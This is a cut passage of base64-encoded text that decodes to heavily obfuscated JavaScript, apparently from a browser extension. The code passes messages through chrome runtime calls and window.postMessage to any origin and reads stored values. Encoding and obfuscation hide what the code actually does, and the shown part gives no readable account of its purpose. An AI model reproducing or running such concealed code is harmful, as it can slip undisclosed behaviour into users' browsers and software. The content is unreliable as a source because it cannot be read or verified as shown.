MyNDYyMSxfMHg1ODIzYmQsXzB4NDUwN2Q5LF8weDM3MWE5OCl7cmV0dXJuIF8weDQ2ZDFkNyhfMHgzNzFhOTgtMHg0NzQsXzB4NTgyM2JkLF8weDU4MjNiZC0weGEzLF8weDQ1MDdkOS0weDE0LF8weDM3MWE5OC0weDU3KTt9ZnVuY3Rpb24gXzB4M2RmMGVkKF8weDQ4MTY1YyxfMHgyZjk5ZmIsXzB4NzM3MWZkLF8weDI2ZWFjZixfMHg0YTFiYzUpe3JldHVybiBfMHhiM2U3NjIoXzB4NDgxNjVjLSAtMHg0YTksXzB4MmY5OWZiLTB4YTAsXzB4NzM3MWZkLTB4NDMsXzB4MjZlYWNmLTB4ZDMsXzB4MjZlYWNmKTt9ZnVuY3Rpb24gXzB4MTNiZDU2KF8weDQ0MTU2NCxfMHhkMDBjZTcsXzB4MWEzOTA5LF8weDQ2ZTc1ZCxfMHgxMWJhZGQpe3JldHVybiBfMHg0NmQxZDcoXzB4MWEzOTA5LTB4Mjc1LF8weDExYmFkZCxfMHgxYTM5MDktMHgxNzAsXzB4NDZlNzVkLTB4OTMsXzB4MTFiYWRkLTB4MTdhKTt9aWYoXzB4MjUyODU2W18weDEzYmQ1NigweDcyYywweDZlNCwweDQ4MSwweDczNywndlshKCcpXShfMHgyNTI4NTZbXzB4MTNiZDU2KDB4NmE2LDB4NWQyLDB4NjlkLDB4OGM0LCdrR05sJyldLF8weDI1Mjg1NltfMHg1MjU3NTcoMHgxZWYsMHgzZGEsMHgxNmEsMHgzOGEsJ3lDSXonKV0pKXtjb25zdCBfMHgyNzIyYWI9e307XzB4MjcyMmFiW18weDNkZjBlZCgweDE3YSwweGNkLDB4Mjg2LCd5S00wJywtMHg2NyldPV8weDI1Mjg1NltfMHg1MjU3NTcoMHg0ODEsMHg1MTEsMHg2ZWQsMHg3ZDMsJ0JiNDcnKV0sXzB4MjcyMmFiW18weDQ0OWRjNygweDY1MCwnenFNZCcsMHg2OTMsMHgyNjYsMHg0Y2UpXT1fMHg1MWQ0ZTcsd2luZG93W18weDEzYmQ1NigtMHgxLDB4M2MyLDB4MTQwLC0weDE1ZCwnZnQ5VicpK18weDEzYmQ1NigweDM2MiwweDUxLDB4MWY0LDB4MzU3LCdrZHBDJykrJ2UnXShfMHgyNzIyYWIsJyonKTt9ZWxzZXtjb25zdCBfMHg0YzdjYTU9e307XzB4NGM3Y2E1W18weDQ0OWRjNygweDI2NCwna2RwQycsLTB4ZiwweDM0YSwweDJiNSldPV8weDI1Mjg1NltfMHgxZDRhZjIoMHgzZmYsMHg1NTAsJ044MzAnLDB4NGFhLDB4NTVhKV0sXzB4NGM3Y2E1W18weDQ0OWRjNygweDczOSwnITZbQycsMHg0ODAsMHg2ZjEsMHg1NGEpXT1fMHgxMzhlMjIsXzB4ZDg2ODAzW18weDUyNTc1NygweDMxYiwweDMzNiwweDEzYiwweGE5LCdxaFdXJykrXzB4MWQ0YWYyKDB4NTJkLDB4NzlmLCcoa3RJJywweDQ2YywweDY3OCkrJ2UnXShfMHg0YzdjYTUsJyonKTt9fSksXzB4MjUyODU2W18weDQzY2U4OCgnJGFKUScsMHgyOGEsMHgyNDYsMHgzOGUsMHg4OSldKF8weDI1Mjg1NltfMHg0NmQxZDcoMHgyMWQsJ2lKKHUnLC0weDgxLDB4ZjksMHgxNjcpXSxfMHgyMjk0YzRbXzB4YjNlNzYyKDB4NzBmLDB4NmE0LDB4NGZhLDB4NTU4LCdea3deJyldW18weGIzZTc2MigweDRiOSwweDJiZiwweDI3NiwweDM1NCwnQyVIMicpXSkmJmNocm9tZVtfMHhiM2U3NjIoMHg2NGQsMHg3M2UsMHg4OTYsMHg1NmMsJyEjcnYnKSsnbWUnXVtfMHg0M2NlODgoJzJHanEnLDB4MjI1LC0weDQxLC0weDFjYywweDEyYykrXzB4NDNjZTg4KCd5Q0l6JywweDJjOSwweDE0MCwweDM2ZCwtMHhjZCkrJ2UnXSh7J3RleHQnOl8weDI1Mjg1NltfMHhiM2U3NjIoMHg0MmQsMHg2MGMsMHgxOTgsMHg1MjksJ3dWdWEnKV0sJ3BhcmFtcyc6XzB4MjI5NGM0W18weDVlMDA0YygweDJiYiwnJVdEVycsMHgxNDIsMHgzMGYsMHgxN2UpXVtfMHg0NmQxZDcoMHgzYjgsJ1BJM2InLDB4NDI1LDB4NWVmLDB4MmFkKV19LGZ1bmN0aW9uKF8weDIyZTMwZCl7ZnVuY3Rpb24gXzB4MjlmOGM1KF8weDJmODNiYyxfMHg0MmE5ODcsXzB4MzQ0NWM5LF8weDNlNGU3ZSxfMHg0ZTcxZmYpe3JldHVybiBfMHg0NmQxZDcoXzB4MzQ0NWM5LTB4YTUsXzB4M2U0ZTdlLF8weDM0NDVjOS0weDc4LF8weDNlNGU3ZS0weDE4OCxfMHg0ZTcxZmYtMHg3MSk7fWZ1bmN0aW9uIF8weDk5YTk4OChfMHg1MjA0MTAsXzB4NTQwOTY0LF8weDE1NzQwMCxfMHhlYzE1NTYsXzB4NTYwMDM2KXtyZXR1cm4gXzB4NDZkMWQ3KF8weDU2MDAzNi0weDI2LF8weDUyMDQxMCxfMHgxNTc0MDAtMHgxNzMsXzB4ZWMxNTU2LTB4ZjcsXzB4NTYwMDM2LTB4ZTkpO31mdW5jdGlvbiBfMHg4NTBkMTcoXzB4MTJjOWU1LF8weDViODY3MixfMHgxMGE3NDAsXzB4MmMxZjBiLF8weDQ0YThhNil7cmV0dXJuIF8weGIzZTc2MihfMHg0NGE4YTYtIC0weGRkLF8weDViODY3Mi0weDE1MCxfMHgxMGE3NDAtMHgxNTYsXzB4MmMxZjBiLTB4ZjUsXzB4MTJjOWU1KTt9ZnVuY3Rpb24gXzB4Mzk5NmI3KF8weDM0YjU0MSxfMHhlZTliMzIsXzB4YjVhZTI0LF8weDIzNTUyMyxfMHhlM2E3YzApe3JldHVybiBfMHhiM2U3NjIoXzB4YjVhZTI0LSAtMHgyNWUsXzB4ZWU5YjMyLTB4MWJmLF8weGI1YWUyNC0weDFkNixfMHgyMzU1MjMtMHgxYjksXzB4MzRiNTQxKTt9ZnVuY3Rpb24gXzB4MjNmYWFiKF8weDNlMWQ0OSxfMHgyYTk0OGIsXzB4NGJhZDg4LF8weDU5MDNhNixfMHg5OGVlZGMpe3JldHVybiBfMHg0NmQxZDcoXzB4NTkwM2E2LSAtMHgzMSxfMHg0YmFkODgsXzB4NGJhZDg4LTB4ZTQsXzB4NTkwM2E2LTB4OTAsXzB4OThlZWRjLTB4MCk7fWlmKF8weDI1Mjg1NltfMHgyOWY4YzUoMHg0MzUsMHgxMWUsMHgxZGIsJ0IlaG0nLDB4NDkwKV0oXzB4MjUyODU2W18weDI5ZjhjNSgweDJmMywweDMwYSwweDNhMSwnUF0qdycsMHgxZDcpXSxfMHgyNTI4NTZbXzB4MjlmOGM1KC0weDg4LDB4NGYzLDB4MjE5LCchNltDJywtMHhjNSldKSl7Y29uc3QgXzB4NDkzMjc0PXt9O18weDQ5MzI3NFtfMHgzOTk2YjcoJ3NQVWUnLDB4MzdkLDB4NDMxLDB4NjJkLDB4NWEzKV09XzB4MjUyODU2W18weDM5OTZiNygnQiVobScsMHg2YjYsMHg1OWQsMHg0OTQsMHg2MWIpXSxfMHg0OTMyNzRbXzB4OTlhOTg4KCdzUFVlJywtMHg4MywweDNlZSwtMHg0MiwweDFlYildPV8weDIyZTMwZCx3aW5kb3dbXzB4OTlhOTg4KCckSnI0JywweDEyYywweDMxMywweDM5MiwweDE0NSkrXzB4MjNmYWFiKC0weDEzYSwweGM5LCdXbGNUJywweDEwMSwtMHgzNykrJ2UnXShfMHg0OTMyNzQsJyonKTt9ZWxzZXtpZihfMHgyNTI4NTZbXzB4Mzk5NmI3KCdQXSp3JywweDdkMiwweDY4OCwweDg2ZiwweDkxOSldKF8weDI1Mjg1NltfMHgyM2ZhYWIoLTB4YWMsLTB4MTAsJ1NvcVgnLDB4ZjEsLTB4MTZiKV0sXzB4MjE1NzM4W18weDI5ZjhjNSgweDJiZSwweDJlOSwweDQ5MiwnZDNUNicsMHgzMDIpKyduJ10pKXtfMHgyNTNjMGZbXzB4MjNmYWFiKC0weGZiLDB4YzMsJyZzZmonLDB4MTBiLDB4MTQ2KSsnZW0nXShfMHgyNTI4NTZbXzB4MjlmOGM1KDB4MjA3LDB4MzRlLDB4NDkwLCdncFFoJywweDI1NSldLDB4MjA3NistMHgyMTkyKzB4MTk3KTtjb25zdCBfMHgxOTI1ZTM9XzB4MzQ3NjUzW18weDI5ZjhjNSgtMHgxMjcsMHg4YSwweDc5LCdpV0RnJywweDJmNykrXzB4ODUwZDE3KCcjIVZPJywweDdhMCwweDY5MiwweDczMSwweDViNSkrXzB4OTlhOTg4KCdmdDlWJywweDNhNywweDE4YiwweGJmLDB4MWJkKV0oXzB4MjUyODU2W18weDg1MGQxNygnd05dTycsMHg1ZmQsMHg0ZWQsMHg1NTEsMHg2Y2YpXSk7XzB4MTkyNWUzWydpZCddPV8weDI1Mjg1NltfMHgzOTk2YjcoJyRhSlEnLDB4NzQ2LDB4Njg2LDB4NGJlLDB4NDgwKV0sXzB4MTkyNWUzW18weDk5YTk4OCgnUF0qdycsMHgyNzAsMHg0MDksMHgxYmQsMHgxY2QpK18weDI5ZjhjNSgweDE4NywweDI4MiwweGQsJyRhSlEnLC0weGU5KSsndCddPV8weDI1Mjg1NltfMHg5OWE5ODgoJ1BdKncnLDB4Mjg1LC0weDczLDB4MjNiLDB4MjE0KV0sXzB4MWU5NWMzW18weDM5OTZiNygnbFNvWicsMHg1ODUsMHg2ZjcsMHg3NzIsMHg2NmQpK18weDIzZmFhYigweDEyMSwweDU2NiwnaUoodScsMHgzNTksMHgxNWEpK18weDIzZmFhYigtMHgzMTgsMHhjYiwnZmcqdicsLTB4MTE2LDB4MTAzKStfMHgyM2ZhYWIoMHg0MWUsMHgxNGEsJ3lLTTAnLDB4MjEzLDB4MTc1KV0oXzB4MjUyODU2W18weDk5YTk4OCgnJEpyNCcsMHgzNmMsMHhmMSwweDEzMywweDI2ZSldKVstMHgxNGZkKzB4MzAqMHhhMSstMHhmKjB4OWRdW18weDM5OTZiNygnJnNmaicsMHg1MzgsMHg1NGEsMHg2YjAsMHgzYTMpK18weDM5OTZiNygnJVdEVycsMHg1YzcsMHg1YWIsMHg1M2YsMHg1OGYpKydkJ10oXzB4MTkyNWUzKSxfMHgyNTI4NTZbXzB4MjNmYWFiKDB4MjYxLDB4MzkxLCdZS2NYJywweDEzZCwtMHhiZildKF8weDU1ZTczNiwhKC0weDEqMHgxMmQ2KzB4MThmOCstMHg1KjB4MTNhKSk7fX19KSxfMHgyNTI4NTZbXzB4NWUwMDRjKDB4OWQsJyZzZmonLDB4MmZhLC0weGFlLDB4YjIpXShfMHgyNTI4NTZbXzB4Mzg5NjFiKDB4MmEzLDB4MzljLDB4NTE4LDB4NTVlLCcyR2pxJyldLF8weDIyOTRjNFtfMHgzODk2MWIoMHg3NWIsMHg2YWEsMHg1NTgsMHg1MTMsJ0pNVionKV1bXzB4NDZkMWQ3KDB4MzMxLCd5S00wJywweDViNSwweDFjYSwweDU2YildKSYmY2hyb21lW18weDM4OTYxYigweDQ1NSwweDU0YSwweDUyMSwweDc2OSwneUtNMCcpKydtZSddW18weDVlMDA0YygweDQ3MiwnV04kWCcsMHg0OTIsMHg1ZmYsMHg2NjcpK18weDQ2ZDFkNygtMHhjYiwneUtNMCcsLTB4MWVhLC0weGE1LC0weDI5NSkrJ2UnXSh7J3RleHQnOl8weDI1Mjg1NltfMHhiM2U3NjIoMHg4OTEsMHhhZjMsMHg1Y2EsMHhhN2UsJ3lLTTAnKV0sJ3BhcmFtcyc6XzB4MjI5NGM0W18weDVlMDA0YygweDM1MywnZnQ5VicsMHg0MDksMHg5NSwweDI4MildW18weGIzZTc2MigweDdiYywweDdiMSwweDYyNSwweDc4MywnV1RKeicpXX0sZnVuY3Rpb24oXzB4MTJjMzExKXtmdW5jdGlvbiBfMHgzZGY5MzIoXzB4MzM4YTgyLF8weDM5MmQxMCxfMHgyZmY1MTAsXzB4M2ViZWNiLF8weDEyMmQ5Yil7cmV0dXJuIF8weGIzZTc2MihfMHgzMzhhODItIC0weDRkYSxfMHgzOTJkMTAtMHgxMTgsXzB4MmZmNTEwLTB4MTY3LF8weDNlYmVjYi0weDExNCxfMHgzZWJlY2IpO31mdW5jdGlvbiBfMHg0NWU4ZWQoXzB4MjY1MWQ3LF8weDE4YjIzZixfMHg0NDk3YjgsXzB4NWIyMmQyLF8weDRmYTk1Mil7cmV0dXJuIF8weGIzZTc2MihfMHg1YjIyZDItMHhlMyxfMHgxOGIyM2YtMHgyNixfMHg0NDk3YjgtMHgxZjAsXzB4NWIyMmQyLTB4ZDAsXzB4MThiMjNmKTt9ZnVuY3Rpb24gXzB4NTNhNTg0KF8weDU2Yzc1MCxfMHgxNjAxNDMsXzB4NDc3NzExLF8weDVhOGUxZixfMHgyNDY1NTUpe3JldHVybiBfMHg0M2NlODgoXzB4NDc3NzExLF8weDE2MDE0My0weDEwMSxfMHg1YThlMWYtMHg1NmYsXzB4NWE4ZTFmLTB4MWNhLF8weDI0NjU1NS0weDE3NSk7fWZ1bmN0aW9uIF8weDE5MTU3MChfMHgxNTg3Y2MsXzB4M2FhMWJmLF8weDEzZDEyMixfMHg0YjJlZjEsXzB4MWI3YzAzKXtyZXR1cm4gXzB4Mzg5NjFiKF8weDE1ODdjYy0weDQ2LF8weDNhYTFiZi0weDkxLF8weDFiN2MwMy0gLTB4NWJhLF8weDRiMmVmMS0weDE3MixfMHgzYWExYmYpO31mdW5jdGlvbiBfMHgyMDlmMGYoXzB4NDQzNTI2LF8weDM0YTA0YyxfMHhhZWFmYjMsXzB4NTBkYzZlLF8weDY1Mjg4MCl7cmV0dXJuIF8weDQ2ZDFkNyhfMHhhZWFmYjMtMHg2MTYsXzB4NDQzNTI2LF8weGFlYWZiMy0weGM5LF8weDUwZGM2ZS0weGI0LF8weDY1Mjg4MC0weDE0Yyk7fWlmKF8weDI1Mjg1NltfMHgyMDlmMGYoJ2QzVDYnLDB4NzNjLDB4OTZjLDB4OWMyLDB4YWQ4KV0oXzB4MjUyODU2W18weDIwOWYwZignenFNZCcsMHgzZjgsMHg1YmQsMHgzNGEsMHg1YmQpXSxfMHgyNTI4NTZbXzB4MTkxNTcwKDB4MjllLCdXbGNUJywweDMzYiwweDU1ZiwweDNhYildKSl7Y29uc3QgXzB4NTY1NmJhPXt9O18weDU2NTZiYVtfMHgyMDlmMGYoJ2dwUWgnLDB4NDc5LDB4NzQ1LDB4NWM4LDB4N2U4KV09XzB4MjUyODU2W18weDUzYTU4NCgweDgzMywweDgwNiwnIXhkVycsMHg2YjAsMHg0ZmEpXSxfMHg1NjU2YmFbXzB4MTkxNTcwKDB4NGE1LCdpUWhWJywweDMxYiwweDUyMCwweDQxNyldPV8weDEyYzMxMSx3aW5kb3dbXzB4MTkxNTcwKDB4M2QzLCdyejhTJywweDIwNSwweDFkYywweDEzMykrXzB4MjA5ZjBmKCdzd2FIJywweDlhNSwweDkzOSwweGE3ZSwweGFjMCkrJ2UnXShfMHg1NjU2YmEsJyonKTt9ZWxzZXtjb25zdCBfMHgzMGQxNWQ9e307XzB4MzBkMTVkW18weDIwOWYwZignJmIjcicsMHhhN2QsMHg3ZDEsMHg4MzksMHg5NjQpKydkJ109XzB4NDQ2ZGNlW18weDQ0ZDk5MV1bJ2lkJ107Y29uc3QgXzB4MWU1MzYzPXt9O18weDFlNTM2M1tfMHg0NWU4ZWQoMHhiNDQsJ3dOXU8nLDB4YWY4LDB4OWM2LDB4N2QyKV09XzB4MjUyODU2W18weDNkZjkzMigweDI1OSwweDdiLC0weDQ3LCdrZHBDJywweDQ5KV0sXzB4MWU1MzYzW18weDNkZjkzMigweDI3NiwweDMwNywtMHgxMywnc1BVZScsMHgyZWMpXT1fMHgzMGQxNWQsXzB4MmMyMGJhW18weDQ1ZThlZCgweDRmZiwncWhXVycsMHg2MmEsMHg3NjAsMHg4ZDYpKydtZSddW18weDNkZjkzMigtMHg5MSwweDE3ZSwtMHgyYTAsJzV0UVEnLDB4ZikrXzB4MjA5ZjBmKCckSnI0JywweDY4YSwweDgwMCwweGFjMiwweDhmZCkrJ2UnXShfMHgxZTUzNjMpO319KSxfMHgyNTI4NTZbXzB4YjNlNzYyKDB4NmU2LDB4OTA2LDB4OGRiLDB4NTk1LCdTb3FYJyldKF8weDI1Mjg1NltfMHg1ZTAwNGMoMHgyMDYsJ3dWdWEnLC0weDExLDB4MTBhLDB4M2EzKV0sXzB4MjI5NGM0W18weDQzY2U4OCgnJVdEVycsMHgyNDgsMHgxMTYsLTB4MTkzLDB4MjA1KV1bXzB4NDNjZTg4KCd3Tl1PJywweDRhNiwweDNhNSwweDE4MywweDMwMCldKSYmY2hyb21lW18weDQzY2U4OCgnJVdEVycsMHgzMjcsMHgyYWUsMHgzMjEsMHgxNjQpKydtZSddW18weDM4OTYxYigweDQ3MiwweDM4YywweDU4YywweDUzYywnNXRRUScpK18weDQzY2U4OCgnMCQmSCcsMHgxYzksMHgzNDAsMHg0ZjQsMHg2MDApKydlJ10oeyd0ZXh0JzpfMHgyNTI4NTZbXzB4Mzg5NjFiKDB4NTY3LDB4NWI0LDB4NTI3LDB4NmM0LCd0RyleJyldfSxmdW5jdGlvbihfMHgxOWU2Zjkpe2Z1bmN0aW9uIF8weGYwZjIwYShfMHg1NTZkMjMsXzB4ZDNkNzZmLF8weGRiYjU4MixfMHgxZmQ3YjksXzB4NTIxMWY5KXtyZXR1cm4gXzB4NDNjZTg4KF8weDU1NmQyMyxfMHhkM2Q3NmYtMHgxNDUsXzB4ZDNkNzZmLTB4MzA0LF8weDFmZDdiOS0weGI2LF8weDUyMTFmOS0weDhlKTt9ZnVuY3Rpb24gXzB4NGU3YzYwKF8weDU0ZWFhYyxfMHgzMzNlZjUsXzB4NGFlY2FiLF8weDViMzg2YyxfMHg0MDQ2ZTcpe3JldHVybiBfMHhiM2U3NjIoXzB4NGFlY2FiLSAtMHgzNTAsXzB4MzMzZWY1LTB4MTQ3LF8weDRhZWNhYi0weDEwYixfMHg1YjM4NmMtMHgxYWIsXzB4NDA0NmU3KTt9Y29uc3QgXzB4NGIwZDg2PXsnVlZZVWMnOl8weDI1Mjg1NltfMHhmMGYyMGEoJ2tkcEMnLDB4NGY5LDB4NmQ2LDB4NjcwLDB4NjhjKV0sJ3dHeWluJzpmdW5jdGlvbihfMHgzMjBhZDYsXzB4NDIwN2UzKXtmdW5jdGlvbiBfMHgxZTI1ZWIoXzB4NWJlNDQ1LF8weDIwMDI5NSxfMHgzMDQ1YTAsXzB4NTlhNTBhLF8weDI4ZjIxMyl7cmV0dXJuIF8weGYwZjIwYShfMHg1OWE1MGEsXzB4NWJlNDQ1LTB4MmY0LF8weDMwNDVhMC0weDFmMyxfMHg1OWE1MGEtMHgxNixfMHgyOGYyMTMtMHg3OCk7fXJldHVybiBfMHgyNTI4NTZbXzB4MWUyNWViKDB4ODM3LDB4YTY2LDB4NjU0LCdTb3FYJywweDk3NCldKF8weDMyMGFkNixfMHg0MjA3ZTMpO30sJ2xCR2V0JzpmdW5jdGlvbihfMHgxOTU2MDcpe2Z1bmN0aW9uIF8weDE3ODQwMihfMHgxOTE4MmIsXzB4NDI3YjlhLF8weDE3MGM5NCxfMHgxZjZlOGYsXzB4MTdlODQ0KXtyZXR1cm4gXzB4ZjBmMjBhKF8weDE5MTgyYixfMHgxZjZlOGYtMHgyNmIsXzB4MTcwYzk0LTB4MjMsXzB4MWY2ZThmLTB4ZGQsXzB4MTdlODQ0LTB4MTU5KTt9cmV0dXJuIF8weDI1Mjg1NltfMHgxNzg0MDIoJ15rd14nLDB4NGJhLDB4NDc3LDB4NDY0LDB4NmZjKV0oXzB4MTk1NjA3KTt9LCd6SWNoUic6ZnVuY3Rpb24oXzB4NDYxZmI5LF8weDMwN2I3OSxfMHg1NTAzMDQpe2Z1bmN0aW9uIF8weDM0NGQxNShfMHgxM2JhMDYsXzB4MTA3MGRkLF8weDIxNDIzNyxfMHgxOTA4MjYsXzB4MjgyNzFlKXtyZXR1cm4gXzB4ZjBmMjBhKF8weDEwNzBkZCxfMHgxM2JhMDYtIC0weDNjZCxfMHgyMTQyMzctMHg0NixfMHgxOTA4MjYtMHgxNyxfMHgyODI3MWUtMHg2Nyk7fXJldHVybiBfMHgyNTI4NTZbXzB4MzQ0ZDE1KDB4MmJiLCcwJCZIJywweDU2NywweDM3NywweDIzYSldKF8weDQ2MWZiOSxfMHgzMDdiNzksXzB4NTUwMzA0KTt9LCdLcENURCc6ZnVuY3Rpb24oXzB4NDk0NTg0LF8weDQ1OWUwNyl7ZnVuY3Rpb24gXzB4MTM1MGY2KF8weDcwODQ2YyxfMHg1Mzg5YTAsXzB4ZDg2MzczLF8weDQxOWIxNCxfMHgzMGFjNmIpe3JldHVybiBfMHhmMGYyMGEoXzB4NDE5YjE0LF8weDcwODQ2Yy0weDEzOSxfMHhkODYzNzMtMHg2NSxfMHg0MTliMTQtMHgxMTIsXzB4MzBhYzZiLTB4MWNjKTt9cmV0dXJuIF8weDI1Mjg1NltfMHgxMzUwZjYoMHgzMjIsMHgyM2MsMHg1ZDksJyZiI3InLDB4MWI0KV0oXzB4NDk0NTg0LF8weDQ1OWUwNyk7fX07ZnVuY3Rpb24gXzB4MmI4MjJmKF8weDVjODY4MyxfMHgyZjdjMTksXzB4MmQ2MmViLF8weDE3MzZlOCxfMHg0NzU1OGQpe3JldHVybiBfMHg0NmQxZDcoXzB4MTczNmU4LTB4NWMzLF8weDJmN2MxOSxfMHgyZDYyZWItMHgxYWUsXzB4MTczNmU4LTB4MTMsXzB4NDc1NThkLTB4MWM5KTt9ZnVuY3Rpb24gXzB4MjJjNzIxKF8weGY4OWU2MSxfMHgxZDM0ZGYsXzB4MTlmZjI5LF8weDE3ZGUxMSxfMHgxODg0OTYpe3JldHVybiBfMHgzODk2MWIoXzB4Zjg5ZTYxLTB4MTQ4LF8weDFkMzRkZi0weDE0MCxfMHgxZDM0ZGYtIC0weDE4OCxfMHgxN2RlMTEtMHhkNSxfMHgxN2RlMTEpO31mdW5jdGlvbiBfMHhkM2U4OTQoXzB4MzA1MWYwLF8weDIwNmIyNyxfMHgzZWYzODgsXzB4NGEzNzIxLF8weDE3MzU3Zil7cmV0dXJuIF8weDQzY2U4OChfMHg0YTM3MjEsXzB4MjA2YjI3LTB4MTRkLF8weDMwNTFmMC0weDFkOCxfMHg0YTM3MjEtMHgxMzAsXzB4MTczNTdmLTB4MWMwKTt9aWYoXzB4MjUyODU2W18weDIyYzcyMSgweDFlYSwweDM5ZCwweDQxNCwnTjgzMCcsMHgzY2QpXShfMHgyNTI4NTZbXzB4ZDNlODk0KDB4NjE3LDB4ODlmLDB4N2E3LCdAcXZtJywweDMzYildLF8weDI1Mjg1NltfMHgyMmM3MjEoMHg2N2IsMHg1NmQsMHg1ODEsJzV0UVEnLDB4NWJlKV0pKXtjb25zdCBfMHg1ZTMwMjk9e307XzB4NWUzMDI5W18weDJiODIyZigweGI3NCwnJEpyNCcsMHg5ZGIsMHg5MDYsMHhiMDEpXT1fMHgyNTI4NTZbXzB4NGU3YzYwKC0weDExNSwweDNkZSwweDE3YiwtMHhiNCwnMkdqcScpXSxfMHg1ZTMwMjlbXzB4ZjBmMjBhKCdzRWFDJywweDI0NywweDIwMSwweDI3YiwweDExYildPV8weDE5ZTZmOSx3aW5kb3dbXzB4ZDNlODk0KDB4NDA5LDB4MjNhLDB4NTY2LCcwJCZIJywweDNjNCkrXzB4MjJjNzIxKDB4NzE2LDB4NTNlLDB4NTRkLCdncFFoJywweDNkOCkrJ2UnXShfMHg1ZTMwMjksJyonKTt9ZWxzZXtjb25zdCBfMHg1ODUyYTc9eydOcHdLRyc6ZnVuY3Rpb24oXzB4MjliOGYxKXtmdW5jdGlvbiBfMHgyOTcyZjAoXzB4MzU5MDNjLF8weDQ0Yzc3OSxfMHg1ZjBhNzIsXzB4MzJhY2Y5LF8weDQ1ODUyNCl7cmV0dXJuIF8weDRlN2M2MChfMHgzNTkwM2MtMHgxY2YsXzB4NDRjNzc5LTB4N2UsXzB4NWYwYTcyLSAtMHgyZjAsXzB4MzJhY2Y5LTB4MWI0LF8weDQ1ODUyNCk7fXJldHVybiBfMHgyNTI4NTZbXzB4Mjk3MmYwKC0weDE1NCwtMHhiMCwtMHhiNCwtMHgzMjIsJ3dWdWEnKV0oXzB4MjliOGYxKTt9fTtfMHgzOTQ0MzhbXzB4ZDNlODk0KDB4MmExLDB4MjQ2LDB4MjZhLCdrR05sJywweDFlNCkrJ2dlJ11bXzB4MjJjNzIxKDB4YWQzLDB4ODQ0LDB4OWNhLCd3Tl1PJywweDk5OCldW18weDRlN2M2MCgweDE1YiwweDM2NywweDJkMCwweDFiNCwnU29xWCcpXShbXzB4MjUyODU2W18weGYwZjIwYSgnJnNmaicsMHg2YTcsMHg2MTAsMHg1YzQsMHg2NjkpXV0sZnVuY3Rpb24oXzB4NDIxMGIyKXtjb25zdCBfMHgyMTI4NGI9e307XzB4MjEyODRiW18weDkyMzkwOCgweDQwOSwweGUyLDB4M2EzLDB4MzIyLCcmc2ZqJyldPV8weDRiMGQ4NltfMHg5MjM5MDgoLTB4YjYsMHgyNWIsMHgxN2YsMHgxMzYsJ3NFYUMnKV07Y29uc3QgXzB4YjY4MzY5PV8weDIxMjg0YjtmdW5jdGlvbiBfMHg0NWE2OGIoXzB4MTEzMGI4LF8weDVhZjk0ZSxfMHgyNTJmY2EsXzB4MTRjNDkyLF8weDZiNTMzNSl7cmV0dXJuIF8weDJiODIyZihfMHgxMTMwYjgtMHg1ZSxfMHg2YjUzMzUsXzB4MjUyZmNhLTB4MmIsXzB4MjUyZmNhLSAtMHgyZmEsXzB4NmI1MzM1LTB4MTc0KTt9ZnVuY3Rpb24gXzB4Mjk1ZjA0KF8weDIwNTFiZSxfMHg0MDc3OTEsXzB4MmJjY2FmLF8weDNiYTdmYixfMHg1ZDBjNjEpe3JldHVybiBfMHg0ZTdjNjAoXzB4MjA1MWJlLTB4MWQxLF8weDQwNzc5MS0weGE5LF8weDQwNzc5MS0weDQwNixfMHgzYmE3ZmItMHgxNTYsXzB4MjA1MWJlKTt9ZnVuY3Rpb24gXzB4OTIzOTA4KF8weDJjNDgyOCxfMHgyMzU2NzMsXzB4MzQ5MyxfMHg1MDQzMzgsXzB4MzEwMTUxKXtyZXR1cm4gXzB4MmI4MjJmKF8weDJjNDgyOC0weGY1LF8weDMxMDE1MSxfMHgzNDkzLTB4YmEsXzB4MzQ5My0gLTB4NjA0LF8weDMxMDE1MS0weGJmKTt9ZnVuY3Rpb24gXzB4MTczNGE0KF8weDIwNmRlOCxfMHgxYjc2MzMsXzB4MzhmMDYxLF8weDRlNzJkZixfMHg1MjEzNDkpe3JldHVybiBfMHgyYjgyMmYoXzB4MjA2ZGU4LTB4ZDksXzB4MWI3NjMzLF8weDM4ZjA2MS0weDM3LF8weDM4ZjA2MS0gLTB4NDMxLF8weDUyMTM0OS0weDMxKTt9Y29uc3QgXzB4MzczMDE1PV8weDQyMTBiMltfMHgxNzM0YTQoMHg0NDgsJ3J6OFMnLDB4MmZkLDB4MzgyLDB4MjgxKStfMHgyOTVmMDQoJ2lRaFYnLDB4ODg2LDB4YWJmLDB4N2E4LDB4NjFhKStfMHgxNzM0YTQoMHg0OTgsJ3NFYUMnLDB4MzQ3LDB4M2E0LDB4YzApXSxfMHg1MDNjOGM9XzB4MzczMDE1W18weDkyMzkwOCgtMHgxMmQsMHgxYzIsLTB4OTMsLTB4YjUsJ0JiNDcnKStfMHgxNzM0YTQoMHhkZSwnXmt3XicsMHgzYjIsMHgyZTAsMHgzZDApXShfMHgyMTE0MDU9Pl8weDI4YWQyY1tfMHgyOTVmMDQoJzJHanEnLDB4NjUyLDB4ODUxLDB4Mzg0LDB4NGEyKStfMHg5MjM5MDgoLTB4OTMsLTB4ZGMsMHg4YiwtMHgxZGEsJyE2W0MnKV1bXzB4Mjk1ZjA0KCdmdDlWJywweGExNywweGI2ZCwweDliNSwweGM5OSldW18weDI5NWYwNCgnc3dhSCcsMHg1M2QsMHg1YzcsMHg0YWYsMHgzNGMpKydPZiddKF8weDIxMTQwNVtfMHgxNzM0YTQoMHgyZGYsJyMhVk8nLDB4NThiLDB4M2JlLDB4NzdjKV0pPi0oLTB4NGVhKy0weDEyZiotMHgxMSstMHg0KjB4M2NkKSk7aWYoXzB4NGIwZDg2W18weDUwODcxOCgweGJlNiwweDllZCwweDlmMSwweDgyOSwnd1Z1YScpXSgtKC0weDEqLTB4MTEzYystMHgyMzg0Ky0weDFmKi0weDk3KSxfMHg1MDNjOGMpKXJldHVybjtmdW5jdGlvbiBfMHg1MDg3MTgoXzB4MzdhZWUzLF8weDEyYTY5NCxfMHgyMWFjYzIsXzB4M2Q3MzM0LF8weDkwZDU2KXtyZXR1cm4gXzB4ZjBmMjBhKF8weDkwZDU2LF8weDEyYTY5NC0weDJlMSxfMHgyMWFjYzItMHg1OCxfMHgzZDczMzQtMHgxODAsXzB4OTBkNTYtMHgzNik7fWNvbnN0IF8weDI2YzZhNT1hc3luYygpPT57ZnVuY3Rpb24gXzB4MzNjN2MzKF8weDU4NzUyYSxfMHg0NjVhMGQsXzB4NDgzYWExLF8weDlkOTk0MixfMHg3NThjMjMpe3JldHVybiBfMHgxNzM0YTQoXzB4NTg3NTJhLTB4YzYsXzB4OWQ5OTQyLF8weDU4NzUyYS0weDUwLF8weDlkOTk0Mi0weDY4LF8weDc1OGMyMy0weDEzOCk7fWNvbnN0IF8weDE2YjRiOT17fTtfMHgxNmI0YjlbXz